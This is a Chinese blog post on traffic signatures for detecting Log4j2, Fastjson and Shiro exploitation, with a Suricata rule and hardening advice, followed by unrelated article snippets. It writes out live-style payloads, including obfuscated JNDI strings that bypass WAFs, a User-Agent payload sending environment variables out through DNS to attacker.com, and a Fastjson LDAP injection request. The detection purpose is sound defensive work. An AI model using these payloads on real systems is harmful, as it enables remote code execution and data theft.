【HW系列】—Log4j2、Fastjson、Shiro漏洞流量特征深度剖析与实战检测

news2026/3/16 2:25:42
1. Log4j2漏洞流量特征与实战检测第一次在实战中遇到Log4j2漏洞时我被它简单的触发方式和强大的破坏力震惊了。这个漏洞最可怕的地方在于攻击者只需要往日志里插入一段特殊字符串就能让服务器乖乖执行任意命令。下面我就结合自己踩过的坑详细说说怎么从流量层面抓住这个幽灵。1.1 基础请求特征JNDI注入的千层套路最明显的特征当然是${jndi:ldap://xxx}这种经典payload。但实战中攻击者早就玩出花了我整理了几种常见变形大小写变形${${lower:j}ndi:ldap://xxx} 这种用lower/upper函数嵌套的变种专门对付只会简单匹配jndi的检测规则特殊符号分割${::-j}ndi:这种用符号分割的写法去年HW行动中就出现过多重编码%24%7Bjndi%3Aldap%3A%2F%2Fxxx 这种URL编码后的payload能绕过不少WAF有个真实案例某次攻防演练中攻击者把payload藏在User-Agent里User-Agent: Mozilla/5.0 ${jndi:dns://${env:USER}.attacker.com/log}这种还会把环境变量外带的操作特别阴险。1.2 网络交互特征三层攻击链的蛛丝马迹完整的攻击通常分三个阶段每个阶段都有独特流量特征漏洞触发阶段HTTP请求中出现JNDI注入外联阶段服务器向LDAP/RMI服务发起连接常见1389/1099端口攻击阶段下载恶意class文件或建立反向shell我常用的检测方法是抓包看异常外联。比如突然出现内网服务器向外部陌生IP的1389端口发起连接十有八九是中招了。去年某次应急响应中就是靠发现服务器在疯狂解析dnslog.cn的域名锁定攻击的。1.3 高级绕过技术攻击者的七十二变最近遇到的几个高级绕过手法环境变量嵌套${${env:PROTO}:-jndi}:ldap://xxx 这种写法会根据环境变量动态变化多协议组合先用ldap触发漏洞再用http下载恶意类完美规避只监控jndi的规则DNS外带${jndi:dns://${sys:java.version}.attacker.com} 这种不直接攻击先探测环境2. Fastjson漏洞流量特征解析第一次分析Fastjson漏洞流量时我被它各种奇怪的JSON结构搞晕了。这玩意就像个JSON变形金刚攻击者能把恶意代码藏在看似正常的JSON里。2.1 请求特征危险的type字段Fastjson漏洞的核心在于type字段的滥用。常见特征包括POST /api HTTP/1.1 Content-Type: application/json { type:com.sun.rowset.JdbcRowSetImpl, dataSourceName:ldap://attacker.com/exp, autoCommit:true }这种请求会触发JNDI注入。我见过最骚的操作是把type藏在JSON深层{ normalField:value, nested:{ type:恶意类名 } }2.2 响应特征错误信息里的密码Fastjson漏洞的响应很有特点400/500错误暴增因为恶意JSON结构会导致解析失败错误信息泄露经常能看到fastjson.JSONException堆栈DNS外带响应里出现dnslog.cn这类域名就是铁证有次排查问题时发现大量包含autoCommit关键字的500错误一查果然是Fastjson被攻击。2.3 攻击载荷进化史从最早的JdbcRowSetImpl到后来的TemplatesImpl攻击载荷越来越隐蔽JdbcRowSetImpl直接JNDI注入简单粗暴TemplatesImpl嵌入恶意字节码不需要外联BasicDataSource针对Tomcat环境的特化攻击最近还出现用$ref引用的新玩法payload能写得像绕口令一样复杂。3. Shiro漏洞流量特征深度分析Shiro的rememberMe反序列化漏洞是我见过最顽强的漏洞之一这么多年过去了还在各种攻防演练中出现。3.1 Cookie里的定时炸弹最明显的特征就是rememberMe这个CookieCookie: rememberMeAgAAAF...超长base64...; JSESSIONIDxxx正常用户不会带这个Cookie而攻击流量中它总是如影随形。有次分析日志时发现大量rememberMe1的试探请求就知道有人在爆破。3.2 响应中的蛛丝马迹Shiro的响应很有特点deleteMe字段解密失败时会返回Set-Cookie: rememberMedeleteMe延迟响应Padding Oracle攻击会导致响应时间固定延长内存马特征成功注入后rememberMe长度会暴增去年遇到个案例攻击者用rememberMe传了个5KB的payload解密后发现是个冰蝎内存马。3.3 密钥爆破的流量特征爆破密钥时会产生大量特征高频rememberMe请求1分钟上百次rememberMe值长度有规律变化伴随大量400/500响应有次防守方就是靠发现某个IP在疯狂请求/login接口每秒20次成功拦截了攻击。4. 复合攻击检测实战策略现在的攻击者越来越喜欢组合拳把多个漏洞串联利用。这就需要我们建立立体化检测体系。4.1 关联分析三板斧时间关联短时间内出现多个漏洞的试探请求行为关联先Log4j2探测再Shiro攻击IP关联同一IP发起不同类型攻击某次事件中攻击者先用Log4j2探测到目标用Shiro接着就发起rememberMe攻击这种关联很明显。4.2 检测规则优化技巧经过多次实战我总结了几条规则优化经验不要只检测关键字jndi、type这些太容易绕过了关注异常行为比如内网服务器突然外联LDAP结合上下文单个可疑请求可能是误报连续多个就是攻击建议用Suricata写复合规则比如alert http any any - any any ( msg:Possible Log4j2 attack; content:${; content:jndi:; distance:0; within:10; )4.3 防御加固实战建议根据这些年踩过的坑给出几条实用建议Log4j2升级到2.17.0移除JndiLookup类Fastjson启用safemode或者直接换JacksonShiro一定要改默认密钥建议生成32位随机密钥最后提醒下这些漏洞经常被组合利用防守时要建立全局视角。比如发现Log4j2攻击后要立即检查同一批服务器上的Shiro情况。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2414671.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…